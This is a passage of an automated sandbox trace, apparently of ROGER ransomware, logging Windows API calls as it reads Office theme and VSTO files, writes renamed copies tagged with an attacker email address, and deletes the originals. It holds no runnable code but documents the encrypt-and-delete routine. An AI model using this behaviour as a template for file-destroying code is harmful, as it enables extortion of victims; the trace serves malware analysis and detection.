lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x5534, lpOverlapped=0x0) returned 1 [0049.613] WriteFile (in: hFile=0x390, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x5540, lpOverlapped=0x0) returned 1 [0049.614] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.614] WriteFile (in: hFile=0x390, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.614] SetEndOfFile (hFile=0x390) returned 1 [0049.615] CloseHandle (hObject=0x390) returned 1 [0049.615] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.615] SetEndOfFile (hFile=0x3dc) returned 1 [0049.616] CloseHandle (hObject=0x3dc) returned 1 [0049.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.616] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0049.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.617] lstrlenW (lpString=".doc") returned 4 [0049.617] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.617] lstrlenW (lpString=".docx") returned 5 [0049.617] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.617] lstrlenW (lpString=".pdf") returned 4 [0049.617] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.617] lstrlenW (lpString=".xls") returned 4 [0049.617] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.617] lstrlenW (lpString=".xlsx") returned 5 [0049.617] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.617] lstrlenW (lpString=".ppt") returned 4 [0049.617] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.617] lstrlenW (lpString=".zip") returned 4 [0049.617] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.617] lstrlenW (lpString=".rar") returned 4 [0049.617] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.617] lstrlenW (lpString=".bz2") returned 4 [0049.617] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.617] lstrlenW (lpString=".7z") returned 3 [0049.617] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.618] lstrlenW (lpString=".dbf") returned 4 [0049.618] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.618] lstrlenW (lpString=".1cd") returned 4 [0049.618] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.618] lstrlenW (lpString=".jpg") returned 4 [0049.618] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.618] lstrlenW (lpString=".doc") returned 4 [0049.618] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.618] lstrlenW (lpString=".docx") returned 5 [0049.618] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.618] lstrlenW (lpString=".pdf") returned 4 [0049.618] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.618] lstrlenW (lpString=".xls") returned 4 [0049.618] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.618] lstrlenW (lpString=".xlsx") returned 5 [0049.618] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.618] lstrlenW (lpString=".ppt") returned 4 [0049.618] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.618] lstrlenW (lpString=".zip") returned 4 [0049.618] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.618] lstrlenW (lpString=".rar") returned 4 [0049.618] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.618] lstrlenW (lpString=".bz2") returned 4 [0049.618] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.618] lstrlenW (lpString=".7z") returned 3 [0049.619] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.619] lstrlenW (lpString=".dbf") returned 4 [0049.619] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.619] lstrlenW (lpString=".1cd") returned 4 [0049.619] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.619] lstrlenW (lpString=".jpg") returned 4 [0049.619] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.619] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0049.619] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.619] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=2527) returned 1 [0049.619] CloseHandle (hObject=0x3dc) returned 1 [0049.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0049.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.620] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.620] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.624] GetLastError () returned 0x0 [0049.624] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x9df, lpOverlapped=0x0) returned 1 [0049.807] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0049.813] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.813] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.813] SetEndOfFile (hFile=0x358) returned 1 [0049.813] CloseHandle (hObject=0x358) returned 1 [0049.814] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.814] SetEndOfFile (hFile=0x3dc) returned 1 [0049.814] CloseHandle (hObject=0x3dc) returned 1 [0049.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.815] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0049.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.815] lstrlenW (lpString=".doc") returned 4 [0049.815] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.815] lstrlenW (lpString=".docx") returned 5 [0049.815] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.815] lstrlenW (lpString=".pdf") returned 4 [0049.815] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.815] lstrlenW (lpString=".xls") returned 4 [0049.815] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.815] lstrlenW (lpString=".xlsx") returned 5 [0049.815] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.815] lstrlenW (lpString=".ppt") returned 4 [0049.815] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.815] lstrlenW (lpString=".zip") returned 4 [0049.815] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.815] lstrlenW (lpString=".rar") returned 4 [0049.816] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.816] lstrlenW (lpString=".bz2") returned 4 [0049.816] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.816] lstrlenW (lpString=".7z") returned 3 [0049.816] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.816] lstrlenW (lpString=".dbf") returned 4 [0049.816] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.816] lstrlenW (lpString=".1cd") returned 4 [0049.816] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.816] lstrlenW (lpString=".jpg") returned 4 [0049.816] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.816] lstrlenW (lpString=".doc") returned 4 [0049.816] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.816] lstrlenW (lpString=".docx") returned 5 [0049.816] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.816] lstrlenW (lpString=".pdf") returned 4 [0049.816] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.816] lstrlenW (lpString=".xls") returned 4 [0049.816] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.816] lstrlenW (lpString=".xlsx") returned 5 [0049.816] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.816] lstrlenW (lpString=".ppt") returned 4 [0049.816] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.816] lstrlenW (lpString=".zip") returned 4 [0049.817] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.817] lstrlenW (lpString=".rar") returned 4 [0049.817] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.817] lstrlenW (lpString=".bz2") returned 4 [0049.817] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.817] lstrlenW (lpString=".7z") returned 3 [0049.817] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.817] lstrlenW (lpString=".dbf") returned 4 [0049.817] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.817] lstrlenW (lpString=".1cd") returned 4 [0049.817] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.817] lstrlenW (lpString=".jpg") returned 4 [0049.817] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.817] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0049.817] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.817] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=4991) returned 1 [0049.818] CloseHandle (hObject=0x3dc) returned 1 [0049.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0049.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.818] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.818] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.140] GetLastError () returned 0x0 [0050.140] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x137f, lpOverlapped=0x0) returned 1 [0050.144] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0050.145] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.145] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.145] SetEndOfFile (hFile=0x358) returned 1 [0050.145] CloseHandle (hObject=0x358) returned 1 [0050.146] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.146] SetEndOfFile (hFile=0x3dc) returned 1 [0050.147] CloseHandle (hObject=0x3dc) returned 1 [0050.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.147] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0050.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.147] lstrlenW (lpString=".doc") returned 4 [0050.147] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.147] lstrlenW (lpString=".docx") returned 5 [0050.147] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.147] lstrlenW (lpString=".pdf") returned 4 [0050.147] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.147] lstrlenW (lpString=".xls") returned 4 [0050.147] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.147] lstrlenW (lpString=".xlsx") returned 5 [0050.147] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.147] lstrlenW (lpString=".ppt") returned 4 [0050.147] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.148] lstrlenW (lpString=".zip") returned 4 [0050.148] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.148] lstrlenW (lpString=".rar") returned 4 [0050.148] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.148] lstrlenW (lpString=".bz2") returned 4 [0050.148] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.148] lstrlenW (lpString=".7z") returned 3 [0050.148] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.148] lstrlenW (lpString=".dbf") returned 4 [0050.148] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.148] lstrlenW (lpString=".1cd") returned 4 [0050.148] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.148] lstrlenW (lpString=".jpg") returned 4 [0050.148] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.148] lstrlenW (lpString=".doc") returned 4 [0050.148] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.148] lstrlenW (lpString=".docx") returned 5 [0050.148] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.148] lstrlenW (lpString=".pdf") returned 4 [0050.148] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.148] lstrlenW (lpString=".xls") returned 4 [0050.149] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.149] lstrlenW (lpString=".xlsx") returned 5 [0050.149] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.149] lstrlenW (lpString=".ppt") returned 4 [0050.149] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.149] lstrlenW (lpString=".zip") returned 4 [0050.149] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.149] lstrlenW (lpString=".rar") returned 4 [0050.149] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.149] lstrlenW (lpString=".bz2") returned 4 [0050.149] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.149] lstrlenW (lpString=".7z") returned 3 [0050.149] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.149] lstrlenW (lpString=".dbf") returned 4 [0050.149] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.149] lstrlenW (lpString=".1cd") returned 4 [0050.149] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0050.149] lstrlenW (lpString=".jpg") returned 4 [0050.149] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.150] lstrcmpiW (lpString1=".config", lpString2=".ROGER") returned -1 [0050.150] lstrlenW (lpString="VSTOInstaller.config") returned 20 [0050.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0050.152] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=716) returned 1 [0050.152] CloseHandle (hObject=0x3dc) returned 1 [0050.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0050.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0050.152] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.152] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.153] GetLastError () returned 0x0 [0050.153] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, 